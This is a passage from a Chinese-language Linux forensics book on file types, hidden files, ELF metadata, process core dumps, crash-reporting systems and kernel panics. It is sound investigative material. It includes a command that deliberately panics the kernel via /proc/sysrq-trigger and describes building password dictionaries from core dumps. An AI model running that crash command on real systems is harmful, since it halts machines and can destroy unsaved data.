  • 命名管道(FIFO)和套接字不会包含任何数据(写入它们的任何内容都将被另一个运行中的进程接收)。程序或守护进程退出时,也可以将管道或套接字文件从文件系统中删除。

  • 符号链接不要求指向一个已存在的文件。链接文件将包含一个文件名,但它指向的文件可能存在,也可能不存在。

注意

如果你有一个直接挂载到 Linux 分析工作站的可疑 Linux 系统的取证镜像,分析中的驱动器上的符号链接可能指向你自己分析机器上的文件和目录。确保你始终分析的是预定的文件系统。*

魔术字符串和文件扩展名

POSIX 中对常规文件的定义是指文件系统中的一种文件类型,但该常规文件的内容可以是文本、图片、视频、办公文档、可执行程序、数据库、加密文件或任何其他内容。文件内容也被称为文件类型,但这是在应用层面上的。识别常规文件的应用文件类型有多种方法。本节中使用的文件类型一词指的是应用文件类型,而非 POSIX 文件类型。

魔术字符串魔术类型魔术签名魔术字节这些术语都指的是文件开头的一串字节。Linux shell 和文件管理器使用魔术字符串来识别文件类型,并选择哪个程序来运行该文件。这些字符串通常是文件格式的一部分,很难恶意修改或移除而不破坏功能。你可以使用 Linux 的 file 命令来确定文件类型(file -l 列出大约 3,000 种支持的类型)。取证挖掘工具也使用魔术字符串来帮助识别可以从非结构化数据中提取的文件。有关魔术字符串和 Linux 的更多信息,请参阅 file(1) 和 magic(5) 手册页。更多关于取证挖掘的信息,请参见 第三章。

文件扩展名通常用于指示文件的内容。例如,文件名以.pdf.docx.odt 结尾的文件很可能是办公文档,而以.jpg.png.gif 结尾的文件可能是图片,等等。应用程序使用这些文件扩展名来决定如何打开特定的文件。例如,电子邮件客户端使用它们来打开附件,网页浏览器用于下载,文件管理器用于文件打开请求,等等。文件扩展名的简便性有时被滥用,通过更改文件扩展名来隐藏文件内容。例如,恶意软件可能试图隐藏可执行文件,企业数据盗窃可能涉及尝试隐藏办公文档,而持有非法材料的人可能会尝试隐藏媒体文件的存在。尽管使用现代取证软件可以轻松检测到这一点,但它仍然是常见的现象。

与 Windows 环境不同,在 Linux 中,一个文件有多个扩展名是常见的,这通常表示对文件(或一组文件)进行了多个操作。例如,files.tar.gz 表示一个已被压缩(扩展名为.gz)的归档文件(扩展名为.tar)。另一个例子,files.tar.gz.md5 表示一个包含已压缩归档文件 MD5 哈希值的文件。在检查 Linux 环境时,数字取证软件必须了解如何处理具有多个扩展名的文件。

隐藏文件

Linux 使用 Unix 命名约定来处理隐藏文件。隐藏文件只是以点(.)开头的正常文件或目录名。以点开头的文件告知程序,它们不需要在目录列表中显示该文件。使用初始点来隐藏文件的做法有点偶然。早期版本的ls命令被编写成忽略“.”和“..”目录文件,但最终忽略了任何以点开头的文件。从那时起,开发者便开始使用它来隐藏一些通常用户不需要看到的配置文件。

使用点(.)作为文件名前缀来隐藏文件并不是真正的隐藏。隐藏机制不是像内核或文件系统标志这样的技术手段。这只是一个命名惯例,程序和应用程序可能会使用它(如果它们愿意)来过滤文件的显示。大多数程序,特别是文件管理器,都提供了显示隐藏文件的选项。在使用取证工具进行分析时,隐藏文件表现为正常文件(因为它们本来就是正常文件)。你无需采取额外步骤来“取消隐藏”它们。试图通过将点放在不寻常的位置来隐藏文件和目录,可能表明有可疑活动。

另一种隐藏文件的方法是通过打开文件然后删除它而不关闭。这样会删除文件名的目录条目(即文件被解除链接),但 inode 会一直保持分配状态,直到文件被关闭。这种文件隐藏方法不会在重启后持续有效,也不会在持有文件打开的进程崩溃时有效。文件系统取证工具应能找到没有文件名的 inode(例如,Sleuth Kit 的ils -O-p)。

恶意代码有可能隐藏文件。像ls这样的程序的木马版本可以被修补,以防显示某些文件名或目录。恶意的内核模块或 rootkit 也可以拦截文件操作,防止查看或访问特定文件。内核模块 rootkit 还可以隐藏进程、套接字以及内核模块本身(可以在 GitHub 或其他公共源代码库上搜索 Linux rootkit)。

文件的简单隐藏也可以通过文件系统权限实现。通过将文件放置在只读的目录中,可以将其隐藏不让其他用户访问。没有读取权限的用户将无法读取该目录的内容,从而有效地将文件名隐藏起来。

使用木马二进制文件、rootkit 或文件系统权限来隐藏文件,仅在运行中的系统上有效。在进行离线死后取证分析时,这些文件应该呈现为正常文件,而不会被隐藏。此外,了解哪些用户曾访问过文件和目录可能对调查非常重要。

关于文件隐藏的部分至少应该提到隐写术。有多种工具可用于使用隐写术隐藏文件,其中许多工具可以在 Linux 下编译并运行。由于这些工具并不特定于 Linux 系统,因此它们超出了本书的讨论范围。

Linux 文件分析

分析 Linux 系统上的文件内容通常比在更封闭的环境中更容易。文件格式通常是开放的并且文档完善。许多文件,特别是配置文件,都是简单的 ASCII 文本文件。极少有文件格式是 Linux 专有的。

应用程序元数据

在数字取证中,文件元数据可以指代存储在文件系统 inode 中的元数据,也可以指代存储在文件内容中的元数据。本节重点讨论后者。

在 Linux 系统上找到的应用程序的元数据通常比在封闭环境中找到的更容易分析。常见的开放文件格式文档完善,取证工具也对其支持良好。运行在 Linux 系统上的应用程序(以及一般的自由开源软件)使用的文件可分为几类:

  • 开放标准(例如,JPEG 图像)

  • 专有格式,但被开源开发者逆向工程(例如,许多 Microsoft 文件格式)

  • 由开源应用程序开发者定义,但特定于该应用程序(一个很好的例子是 GIMP 的 XCF 文件格式)

  • 特定于 Linux 发行版(例如,Red Hat 的 RPM 软件包文件)

  • 特定于常见的 Linux 系统组件(例如,systemd 的日志格式)

开源和 Linux 特定格式在 Linux 取证中尤为重要。

从 Linux 特定的文件中提取元数据可能需要使用 Linux 分析机器来获得最佳结果(即使商业取证工具声称支持该功能)。通常,Linux 软件包会包含用于故障排除、修复、数据提取、转换和查询的工具。你可以使用这些工具(通常是简单的命令行工具)来提取元数据和内容。要找到使用 Linux 工具显示文件元数据的方法,最好的信息来源是该工具的 man 页。

在许多情况下,你还可以使用应用程序本身(在文件的只读副本上)来检查元数据。例如,图 4-2 展示了一个 GIMP 对话框,显示了 XCF 文件的元数据。

Image

图 4-2:GIMP 对话框显示 XCF 文件的元数据

像 GitHub 或 GitLab 这样的源代码仓库通常提供一些小工具,用于从开放格式中提取元数据。这些工具可能是由学生、爱好者、专业程序员,甚至公司编写的。它们可能提供准确或不准确的结果,我建议将结果与其他类似工具进行比较。

如果其他方法都失败了,查看应用程序的源代码可能会有所帮助。文件格式可能在头文件或随源代码软件包提供的文档中有所说明。例如,查看/usr/include/.h*的内容,你将会发现许多文件格式(其中还有其他内容)。了解文件格式的数据结构可以帮助你编写工具,或者可能使用十六进制编辑器从特定文件中提取或解码元数据。

内容分析

如前节所述,在 Linux 环境中找到的文件往往是开放的并且有详细文档说明。因此,可以很容易地编写工具来检查文件内容。通常,你可以使用为数据恢复、数据导出或转换为其他格式开发的工具,或者使用简单的文件读取器来检查文件内容。

如果文件格式未知,可以使用 file 命令尝试识别文件内容。如果没有专门用于该文件的工具,可以尝试使用 strings 命令提取文件中包含的人类可读字符字符串。有关更多信息,请参见 file(1) 和 strings(1) 手册页。

从文件中提取内容的另一种可能性,特别是复合文件(包含其他嵌入文件),是使用标准的取证切割工具。这些工具可能会提取出对调查人员有用的文件或文件片段。

在 Linux 系统上找到的一些文件是备份或归档文件。传统的(但仍然常见)示例包括 tarcpiodump。一些更现代的 Linux 备份解决方案包括 duplicitytimeshift。常见的 Linux 企业备份系统有 Bacula 和 Amanda。本书的范围不包括备份解决方案的法医分析。然而,备份可以是一个很好的证据来源,甚至备份索引数据库也会包含过去备份的文件名和目录列表,通常还会附带时间戳(例如,tar 增量备份使用 .snar 文件)。

解密文件的内容始终是数字取证调查人员面临的挑战。即使加密格式是开放的并且有文档说明,数据仍然无法访问,除非恢复加密密钥。你在 Linux 系统中可能遇到的一些加密文件格式包括:

  • 使用 GnuPG 加密的电子邮件

  • 应用程序内建的加密(办公文档:PDF、DOC 等)

  • GnuPG 加密的文件

  • 加密的 ZIP 文件

  • 类似 Veracrypt 的加密文件容器

在大多数情况下,Linux 系统上本地文件将具有可识别和已文档化的格式,提供查看元数据的工具,以及用于查看或提取其内容的工具。专有文件格式可能有开源工具,但这些通常是通过志愿者的反向工程最佳努力得到的。

可执行文件

当高级编程代码(人类可读)被编译为机器代码(CPU 可读)时,它会以 可执行 文件格式存储(操作系统可读)。这种格式为操作系统提供了加载代码到内存、设置各种内容(如与其他代码库的动态链接)并运行程序所需的所有信息。Linux 使用从 Unix 获取的 可执行与可链接格式(ELF) 文件。ELF 可执行文件可以通过前四个字节中的魔法字符串来识别:

7F 45 4C 46  .ELF

有多种工具可以提供关于 Linux 系统中 ELF 文件的信息。file命令提供了可执行文件的基本摘要:

$ file /bin/mplayer
/bin/mplayer: ELF 64-bit LSB pie executable, x86-64, version 1
(SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2,
BuildID[sha1]=d216175c8528f418051d5d8fb1196f322b461ef2,
for GNU/Linux 3.2.0, stripped

在取证工作中,分析可执行文件时存在几个感兴趣的领域。在恶意软件的情况下,没有源代码可用,必须对可执行文件进行反向工程,以准确理解其功能。此过程涉及将二进制文件反汇编和反编译为人类可读的代码,这种方法称为静态分析。另一种方法称为动态分析,涉及在带有调试和跟踪工具的沙盒中运行代码,以理解实时行为。在传统的计算机取证调查(非恶意软件)中,重点是来自可执行文件的元数据。反向工程可执行文件超出了本书的范围,但本节探讨了对调查有用的元数据。

一些可执行格式(如 MS-Windows PE/COFF)在文件中嵌入了一个时间戳,指示二进制文件构建的时间。ELF 格式不定义构建时间戳,但使用 GCC 编译的 Linux 可执行文件包含一个称为构建 ID(可选,但默认)的唯一标识符。构建 ID 是可执行文件中部分代码的 SHA-1 哈希,大多数 ELF 分析工具可以提取它。file命令(如前面的示例所示)显示了build-idBuildID[sha1]=),而readelf命令可以显示它,如下所示:

$ readelf -n /bin/mplayer

Displaying notes found in: .note.gnu.build-id
  Owner                Data size Description
  GNU                  0x00000014NT_GNU_BUILD_ID (unique build ID bitstring)
    Build ID: d216175c8528f418051d5d8fb1196f322b461ef2
...

此 ID 对于编译代码版本和构建环境是唯一的,但在分析构建 ID 时,请注意以下内容:

  • 无论是否剥离了二进制文件(删除了符号信息),构建 ID 都将相同。

  • 它在不同机器上并不总是唯一。两个相同版本的 Linux 安装编译相同版本的代码可能生成相同的构建 ID。

  • 可以删除此字符串或恶意修改它,并且没有有效性检查。

  • 在一个中央位置编译然后复制到多台机器的可执行文件将具有相同的构建 ID。

在某些情况下,此构建 ID 对于链接在多台计算机上找到的可执行文件可能会有用,但在其他情况下,它可能没有或者价值不大。

其他工具(如pax-utils包中的dumpelfobjdumpreadelf)提供关于 ELF 可执行文件内部结构的信息,包括文件的不同头部和部分。objdump-d命令还提供了机器代码的反汇编输出。

知道在运行时动态链接到可执行文件中的其他文件是对调查人员也很有趣。通常可以使用ldd命令来检查,如下所示:

$ ldd /bin/mplayer
    linux-vdso.so.1 (0x00007fffe56c9000)
    libncursesw.so.6 => /usr/lib/libncursesw.so.6 (0x00007f111253e000)
    libsmbclient.so.0 => /usr/lib/libsmbclient.so.0 (0x00007f1112514000)
    libpng16.so.16 => /usr/lib/libpng16.so.16 (0x00007f11124dc000)
    libz.so.1 => /usr/lib/libz.so.1 (0x00007f11124c2000)
    libmng.so.2 => /usr/lib/libmng.so.2 (0x00007f1112252000)
    libjpeg.so.8 => /usr/lib/libjpeg.so.8 (0x00007f11121bb000)
    libgif.so.7 => /usr/lib/libgif.so.7 (0x00007f11121ae000)
    libasound.so.2 => /usr/lib/libasound.so.2 (0x00007f11120d3000)
...

但是,如果您正在分析可疑文件(可能是恶意软件),不建议使用ldd。man 页面明确指出“绝不能对不受信任的可执行文件使用ldd,因为这可能导致执行任意代码。”查找所需的共享对象的安全替代方法是objdump工具,如下所示:

$ objdump -p /bin/mplayer |grep NEEDED
  NEEDED           libncursesw.so.6
  NEEDED           libsmbclient.so.0
  NEEDED           libpng16.so.16
  NEEDED           libz.so.1
  NEEDED           libmng.so.2
  NEEDED           libjpeg.so.8
  NEEDED           libgif.so.7
  NEEDED           libasound.so.2
...

这里展示的示例来自流行的 64 位 x86(Intel/AMD)架构,但 Linux 内核支持多达几十种不同的 CPU 架构。在计算的最顶端(大型主机和超级计算机)和最低端(树莓派和物联网嵌入式系统)使用的其他 CPU 可能差异很大。以下是树莓派的一个示例file输出:

$ file /usr/bin/mplayer
/usr/bin/mplayer: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV),
dynamically linked, interpreter /lib/ld-linux-armhf.so.3, for GNU/Linux 3.2.0,
BuildID[sha1]=bef918434bc5966b5bd7002c028773d3fc7d3c67, stripped

Linux 架构可以是 32 位或 64 位、大端或小端,并且支持多种 CPU 指令集(如 x86、ARM、PPC、Sparc 等)。了解架构对于使用法医工具至关重要。除非工具能够自动检测这些架构特征,否则可能需要手动告知工具这些特征,以便生成合理且准确的结果。

崩溃与核心转储

计算机会崩溃,软件会崩溃。通常这些事件令人不安,特别是当数据丢失时。但对于法医检查员而言,这些事件可能是好事,因为崩溃过程中,易失性内存数据可能会被保留。崩溃的内核、崩溃的进程以及保存到本地磁盘的其他应用程序崩溃数据可能具有潜在的法医价值。

当计算机或程序崩溃时,它们可能会尝试将崩溃数据保存到本地磁盘,以便程序员进行调试分析。在某些情况下,这些文件甚至会被上传到开发者的服务器进行分析。这些崩溃数据文件中保存的某些信息可能包含对调查有用的法医痕迹。

内核崩溃、进程崩溃以及更高层次的应用程序和发行版特定崩溃使用不同的处理机制。在这些情况下,与法医调查相关的数据可能会被保存。

内存转储的法医分析可能指的是从内存转储文件中恢复内容信息的痕迹,或者理解代码执行和转储的原因。理解代码执行通常用于恶意软件分析和技术利用(如栈溢出、缓冲区溢出等)。分析此类攻击涉及静态和动态代码分析、逆向工程、反编译和反汇编。此类分析需要深入了解 C 语言、汇编语言和 Linux 内存管理。所有这些概念都超出了本书的范围(事实上,这个话题本身就足以填满一本书)。在这里,我们将探讨内存转储的表面分析和基本字符串信息的提取。

进程核心转储

当 Linux 程序执行时,进程驻留在内存中并一直运行,直到完成、因信号(kill)终止或崩溃。当进程崩溃时,系统可以被配置为将内存映像或核心文件保存到磁盘以供调试使用。这被称为核心转储转储核心。让我们来看一下如何在法医上下文中查找核心文件并进行检查。

传统上,崩溃进程的保存核心文件会写入一个名为 core 或core.PID 的文件,其中PID是数字进程 ID。后来的内核使用模板来创建core.**文件名。这些核心文件被保存在它们崩溃时所在的同一目录(如果该目录可写),并且属于崩溃进程的用户 ID。你可以通过在文件系统中搜索所有名为corecore.PID 或core.**(如果使用了模板)的文件,来找到系统的核心文件。有关核心文件和模板的更多信息,请参阅 core(5)手册页。

如果由 systemd 管理,可能需要安装单独的systemd-coredump包,核心文件将保存到一个单一的目录/var/lib/systemd/coredump/。在这里,核心转储被发送到systemd-coredump程序,该程序将其记录在日志中并保存核心文件(参见 systemd-coredump(8)手册页)。你可以使用coredumpctl命令列出在嫌疑机器的日志中找到的 systemd 核心转储。更多信息请参见 coredumpctl(1)和 coredump.conf(5)手册页。

以下示例显示了来自离线日志文件的一行核心转储日志:

$ coredumpctl --file user-1000.journal
TIME                      PID  UID  GID SIG COREFILE EXE
...
Thu 2020-11-12 13:36:48 CET ➊ 157004   1000 1000 11 ➋ present  /usr/bin/mousepad
...

在这里,我们看到可用的(present ➋)核心转储的列表,包括时间和关于崩溃程序(mousepad)的信息,这些信息在本示例中使用。

通过指定此列表中某个特定崩溃的 PID(157004 ➊),我们可以查看更多信息和回溯:

  $ coredumpctl info 157004 --file user-1000.journal
           PID: 157004 (mousepad)
           UID: 1000 (sam)
           GID: 1000 (sam)
        Signal: 11 (SEGV)
     Timestamp: Thu 2020-11-12 13:36:48 CET (4 days ago)
  Command Line: mousepad
    Executable: /usr/bin/mousepad ➊ 
 Control Group: /user.slice/user-1000.slice/session-3.scope
          Unit: session-3.scope
         Slice: user-1000.slice
       Session: 3
     Owner UID: 1000 (sam)
       Boot ID: 3813c142df4b494fb95aaed7f2f6fab3
    Machine ID: 9ea4c1fdd84f44b2b4cbf3dcf6aee195
      Hostname: pc1
       Storage: /var/lib/systemd/coredump/core.mousepad.1000.
3813c142df4b494fb95aaed7f2f6fab3.157004.1605184608000000.zst ➋ 
       Message: Process 157004 (mousepad) of user 1000 dumped core.

                Stack trace of thread 157004:
                #0 0x00007fca48c0746f __poll (libc.so.6 + 0xf546f)
                #1 0x00007fca48da375f n/a (libglib-2.0.so.0 + 0xa675f)
                #2 0x00007fca48d4ee63 g_main_loop_run (libglib-2.0.so.0 + 0x51e63)
                #3 0x00007fca493944ff gtk_main (libgtk-3.so.0 + 0x1e14ff)
                #4 0x0000564f2caff1a2 n/a (mousepad + 0x111a2)
                #5 0x00007fca48b3a152 __libc_start_main (libc.so.6 + 0x28152)
                #6 0x0000564f2caff39e n/a (mousepad + 0x1139e)
...

在这个示例中,mousepad应用程序 ➊(一个图形化文本编辑器)发生了核心转储,systemd-coredump记录了输出并保存了核心文件 ➋。

核心文件被保存到/var/lib/systemd/coredump/目录,并可以被复制到法医分析机。文件名以core.开头,后面跟着程序名(mousepad)、数字用户 ID(1000)、启动 ID、PID、时间戳,最后是一个扩展名,表示所用的压缩格式:

core.mousepad.1000.3813c142df4b494fb95aaed7f2f6fab3.157004.1605184608000000.zst

根据发行版或配置,压缩格式可能是zstlz4,或者其他 systemd 支持的算法。

你可以使用像zstdcatlz4cat这样的工具解压核心文件的内容。以下是一个示例的 Shell 管道,其中核心文件被解压,并且字符串被提取到分页器中以便手动分析:

$ zstdcat core.mousepad.1000.3813c142df4b494fb95aaed7f2f6fab3.157004.16051846
08000000.zst|strings|less
...
The file contains secret info!!!
...
SHELL=/bin/bash
SESSION_MANAGER=local/pc1:@/tmp/.ICE-unix/3055,unix/pc1:/tmp/.ICE-unix/3055
WINDOWID=123731982
COLORTERM=truecolor
...

这个zstdcat和字符串示例的输出包含了从核心转储中提取的所有人类可读字符串,包括环境变量,甚至是崩溃时在编辑器中输入的未保存文本。程序的核心转储将包含它在崩溃时内存中的所有数据。

bulk_extractor这样的工具可以分析核心文件,寻找常见的搜索字符串,并且创建一个可能的密码字典,这些密码可能以不安全的方式存储在内存中。你可以使用这个字典配合密码恢复程序,尝试解密发现的任何加密文件。你还可以在解压后的核心转储中进行法医雕刻,寻找文件或文件碎片(图像、HTML 等)。

你还可以使用调试器,如 gdb,进一步分析可执行代码。

应用程序和发行版特定的崩溃数据

崩溃信息有助于开发人员调试和修复软件中的问题。崩溃报告系统(可以选择加入或退出)可以监控本地崩溃事件,并将数据发送到开发者服务器进行分析。

Linux 发行版可以有自己的系统崩溃报告机制。桌面环境可以有特定于其库工具包的崩溃报告,应用程序可以实现自己的崩溃报告机制。让我们看几个例子。

Fedora 和 Red Hat 发行版使用 abrt(自动化错误报告工具)。abrtd 守护进程监视崩溃事件并采取适当的行动,这可能包括通知用户或上传到发行版维护者管理的服务器。abrt 系统使用插件,能够监控多种类型的崩溃,如进程核心转储、Python、Java、Xorg 等。在法医检查期间,你可以检查几个目录,查找 abrt 处理的崩溃数据,如 /var/spool/abrt//var/spool/abrt-upload//var/tmp/abrt/

输出内容根据崩溃信息的来源不同而有所不同。以下是存储在 /var/spool/abrt/ 中的核心转储崩溃数据示例:

# ls /var/spool/abrt/ccpp-2020-11-12-13\:53\:24.586354-1425/
abrt_version    dso_list         os_info          proc_pid_status
analyzer        environ          os_release       pwd
architecture    executable       package          reason
cgroup          hostname         pid              rootdir 
cmdline         journald_cursor  pkg_arch         runlevel
component       kernel           pkg_epoch        time
core_backtrace  last_occurrence  pkg_fingerprint  type
coredump        limits           pkg_name         uid
count           maps             pkg_release      username
cpuinfo         mountinfo        pkg_vendor       uuid
crash_function  open_fds         pkg_version

这些文件中的每一个都包含关于崩溃进程的一些信息,包括崩溃原因、打开的文件、环境变量和其他数据。abrt 系统是 systemd-coredump 的竞争者,作为核心转储处理程序。

abrt 的活动也会记录在 systemd 日志中:

Nov 12 13:53:25 pc1 abrt-notification[1393908]: Process 1425 (geoclue) crashed in __poll()

你可以在 /etc/abrt/* 目录中找到 abrt 系统的配置、操作和插件。更多细节,请参见 abrt(1) 和 abrtd(8) 手册页。abrt 系统有几个手册页,描述系统的各个部分(从 Fedora/Red Hat Linux shell 输入 apropos abrt 可查看列表)。权威的在线文档可以在 abrt.readthedocs.io/en/latest/ 查阅。

基于 Ubuntu 的系统有一个名为 Whoopsie 的守护进程(将数据发送到名为 Daisy 的服务器)和一个名为 apport 的处理系统。apport 程序可以管理来自核心转储、Python、包管理器等的崩溃数据(更多信息,请参见 wiki.ubuntu.com/Apport/)。

当进程崩溃时,核心转储被发送到 apport 程序,后者生成报告并将其保存在 /var/crash/ 中。whoopsie 守护进程监视此目录中的新崩溃数据。

在 Ubuntu 上,你可以在日志中以及专用日志文件 /var/log/apport.log 中找到崩溃证据,如下所示:

$ cat /var/log/apport.log
ERROR: apport (pid 30944) Fri Nov 13 08:25:21 2020: called for pid 26501, signal 11,
 core limit 0, dump mode 1
ERROR: apport (pid 30944) Fri Nov 13 08:25:21 2020: executable: /usr/sbin/cups-browsed
 (command line "/usr/sbin/cups-browsed")

崩溃报告是一个位于 /var/crash/ 目录中的普通文本文件:

# cat /var/crash/_usr_sbin_cups-browsed.0.crash
ProblemType: Crash
Architecture: amd64
Date: Fri Nov 13 08:25:21 2020
DistroRelease: Ubuntu 18.04
ExecutablePath: /usr/sbin/cups-browsed
ExecutableTimestamp: 1557413338
ProcCmdline: /usr/sbin/cups-browsed
ProcCwd: /
ProcEnviron:
 LANG=en_US.UTF-8
 LC_ADDRESS=de_CH.UTF-8
 LC_IDENTIFICATION=de_CH.UTF-8
 LC_MEASUREMENT=de_CH.UTF-8
 LC_MONETARY=de_CH.UTF-8
 LC_NAME=de_CH.UTF-8
 LC_NUMERIC=de_CH.UTF-8
 LC_PAPER=de_CH.UTF-8
 LC_TELEPHONE=de_CH.UTF-8
 LC_TIME=de_CH.UTF-8
...

本报告包含有关崩溃的各种信息,包括 base64 编码的核心转储数据。一个唯一的标识符存储在/var/lib/whoopsie/whoopsie-id文件中。它是 BIOS DMI UUID 的 SHA-512 哈希值(通过dmidecode可以找到)。该字符串被发送到 Ubuntu(Canonical)服务器,用于在它们的日志和统计信息中区分不同的机器。

桌面环境可能会自行处理崩溃的应用程序。例如,您可以通过库调用启动 KDE 崩溃处理程序。

将崩溃信息保存到以.kcrash扩展名结尾的文件中。这也可以从drkonqi生成一个崩溃弹出窗口,供桌面用户使用(Dr. Konqi 类似于 Windows 中的 Dr. Watson)。有关 KCrash 和drkonqi的更多信息,请参见 api.kde.org/frameworks/kcrash/html/namespaceKCrash.htmlgithub.com/KDE/drkonqi/。GNOME 也有类似的功能,使用bug-buddyabrt崩溃系统也可以支持 GNOME 应用程序。

发行版可能会实现自己的崩溃和错误报告机制。例如,mintreport会在/tmp/mintreport中创建有关检测到的问题的报告文件。这些文件包含系统信息(/tmp/mintreport/inxi)和一组报告子目录(/tmp/mintreport/reports/)。这些目录分别包含不同的报告,形式为 Python 脚本(/MintReportInfo.py)。有关inxi信息收集工具的更多信息,请参阅 inxi(1)手册页。

崩溃报告不仅由系统或桌面环境管理,应用程序也可以生成它们。这些信息通常由用户运行的应用程序进程保存在用户的主目录中。例如,Firefox 会将崩溃数据保存在~/.mozilla/firefox/Crash Reports/子目录中。该目录包含有关报告配置的信息(crashreporter.ini),一个包含上次崩溃时间的文件(LastCrash),以及待处理的报告。报告包含应用程序(例如此示例中的 Firefox)保存的信息。其他应用程序可能会管理自己的崩溃日志,并将数据保存在用户主目录中的 XDG 基础目录(.cache/.local/share/.config/)中。

内核崩溃

正如我们在上一节中看到的,当一个进程崩溃时,只有该进程受到影响。但当 Linux 内核(包括内核模块)崩溃时,整个系统都会受到影响。内核崩溃可能表现为 panic 或 oops。panic是内核无法继续执行并将停止或重新启动系统的状态。oops将错误信息记录到环形缓冲区(该信息可能会被日志或 syslog 捕获并保存),系统将继续运行。系统在 oops 后的稳定性取决于错误的性质,重启可能仍然是一个好主意。

内核可能在以下情况下崩溃:

  • 内核代码中的 bug(包括驱动程序或模块)

  • 严重的资源耗尽(内存不足)

  • 硬件故障

  • 影响或针对内核的恶意活动

你可以在 systemd 日志中找到带有Oops编号的内核 oops,例如这样:

[178123.292445] Oops: 0002 [#1] SMP NOPTI

内核 oops 的输出与内核警告信息类似。以下是系统 d 日志中观察到的一条内核警告示例:

Sep 28 10:45:20 pc1 kernel: ------------[ cut here ]------------
Sep 28 10:45:20 pc1 kernel: WARNING: CPU: 0 PID: 384 at drivers/gpu/drm/amd/amdgpu/../display/
dc/calcs/dcn_calcs.c:1452 dcn_bw_update_from_pplib.cold+0x73/0x9c [amdgpu] ➊ 
Sep 28 10:45:20 pc1 kernel: Modules linked in: amd64_edac_mod(-) nls_iso8859_1 nls_cp437 amdgpu
(+) vfat iwlmvm fat mac80211 edac_mce_amd kvm_amd snd_hda_codec_realtek ccp gpu_sched ttm ...
Sep 28 10:45:20 pc1 kernel: ➋ CPU: 0 PID: 384 Comm: systemd-udevd Not tainted 5.3.1
-arch1-1-ARCH #1 ➌ 
Sep 28 10:45:20 pc1 kernel: Hardware name: To Be Filled By O.E.M. To Be Filled By O.E.M./X570
Phantom Gaming X, BIOS P2.00 08/21/2019 ➍ 
...
Sep 28 10:45:20 pc1 kernel: Call Trace: ➎ 
Sep 28 10:45:20 pc1 kernel: dcn10_create_resource_pool+0x9a5/0xa50 [amdgpu]
Sep 28 10:45:20 pc1 kernel: dc_create_resource_pool+0x1e9/0x200 [amdgpu]
Sep 28 10:45:20 pc1 kernel: dc_create+0x243/0x6b0 [amdgpu]
...
Sep 28 10:45:20 pc1 kernel: entry_SYSCALL_64_after_hwframe+0x44/0xa9
Sep 28 10:45:20 pc1 kernel: RIP: 0033:0x7fa80119fb3e
Sep 28 10:45:20 pc1 kernel: Code: 48 8b 0d 55 f3 0b 00 f7 d8 64 89 01 48 83 c8 ff c3 66 2e 0f
1f 84 00 00 00 00 00 90 f3 0f 1e fa 49 89 ca b8 af 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3
48 8b 0d 22 f3 0b 00 f7 d8 64 89 01 48
Sep 28 10:45:20 pc1 kernel: RSP: 002b:00007ffe3b6751a8 EFLAGS: 00000246 ORIG_RAX:
 00000000000000af
Sep 28 10:45:20 pc1 kernel: RAX: ffffffffffffffda RBX: 000055a6ec0954b0 RCX: 00007fa80119fb3e
Sep 28 10:45:20 pc1 kernel: RDX: 00007fa800df284d RSI: 000000000084e3b9 RDI: 000055a6eca85cd0
Sep 28 10:45:20 pc1 kernel: RBP: 00007fa800df284d R08: 000000000000005f R09: 000055a6ec0bfc20
Sep 28 10:45:20 pc1 kernel: R10: 000055a6ec08f010 R11: 0000000000000246 R12: 000055a6eca85cd0
Sep 28 10:45:20 pc1 kernel: R13: 000055a6ec0c7e40 R14: 0000000000020000 R15: 000055a6ec0954b0
Sep 28 10:45:20 pc1 kernel: ---[ end trace f37f56c2921e5305 ]---

这表明amdgpu内核模块存在问题➊,但问题不严重到导致内核崩溃。内核将警告信息记录到日志中,包括 CPU 信息➋、内核信息➌、硬件信息➍和回溯信息➎。除了日志条目外,这个内核警告没有在磁盘上写入任何崩溃转储数据。内核设置kernel .panic_on_oops可以指示内核在发生 oops 时立即崩溃(并可能重启)。

下面是内核 panic 输出到控制台的示例:

# echo c > /proc/sysrq-trigger
[12421482.414400] sysrq: Trigger a crash
[12421482.415167] Kernel panic - not syncing: sysrq triggered crash
[12421482.416357] CPU: 1 PID: 16002 Comm: bash Not tainted 5.6.0-2-amd64 #1 Deb1
[12421482.417971] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS rel-4
[12421482.420203] Call Trace:
[12421482.420761] dump_stack+0x66/0x90
[12421482.421492] panic+0x101/0x2d7
[12421482.422167] ? printk+0x58/0x6f
[12421482.422846] sysrq_handle_crash+0x11/0x20
[12421482.423701] __handle_sysrq.cold+0x43/0x101
[12421482.424601] write_sysrq_trigger+0x24/0x40
[12421482.425475] proc_reg_write+0x3c/0x60
[12421482.426263] vfs_write+0xb6/0x1a0
[12421482.426990] ksys_write+0x5f/0xe0
[12421482.427711] do_syscall_64+0x52/0x180
[12421482.428497] entry_SYSCALL_64_after_hwframe+0x44/0xa9
[12421482.429542] RIP: 0033:0x7fe70e280504
[12421482.430306] Code: 00 f7 d8 64 89 02 48 c7 c0 ff ff ff ff eb b3 0f 1f 80 03
[12421482.433997] RSP: 002b:00007ffe237f32f8 EFLAGS: 00000246 ORIG_RAX: 00000001
[12421482.435525] RAX: ffffffffffffffda RBX: 0000000000000002 RCX: 00007fe70e284
[12421482.436999] RDX: 0000000000000002 RSI: 00005617e0219790 RDI: 0000000000001
[12421482.438441] RBP: 00005617e0219790 R08: 000000000000000a R09: 00007fe70e310
[12421482.439869] R10: 000000000000000a R11: 0000000000000246 R12: 00007fe70e350
[12421482.441310] R13: 0000000000000002 R14: 00007fe70e34d760 R15: 0000000000002
[12421482.443202] Kernel Offset: 0x1b000000 from 0xffffffff81000000 (relocation)
[12421482.445325] ---[ end Kernel panic - not syncing: sysrq triggered crash ]--

在这个例子中,panic 是故意生成的(echo c > /proc/sysrq -trigger),并导致系统立即停止。日志中没有崩溃的证据,因为内核在写入任何信息之前就崩溃了。

在对 Linux 系统进行事后法医检查时,我们会寻找崩溃的证据以及任何可能从崩溃中保存的数据。这些数据可能会揭示崩溃的原因(例如堆栈跟踪、可分析的代码等),并且可以通过法医方法从内存镜像中提取文件碎片和字符串。

运行中的内核驻留在易失性内存中。当内核发生 panic 并停止或重启时,这部分内存会丢失。为了调试目的,内核开发者创建了方法来在内核 panic 时保存内存内容。我们可以将这些方法作为一种法医准备,并配置它们以将内核内存保存为数字证据。

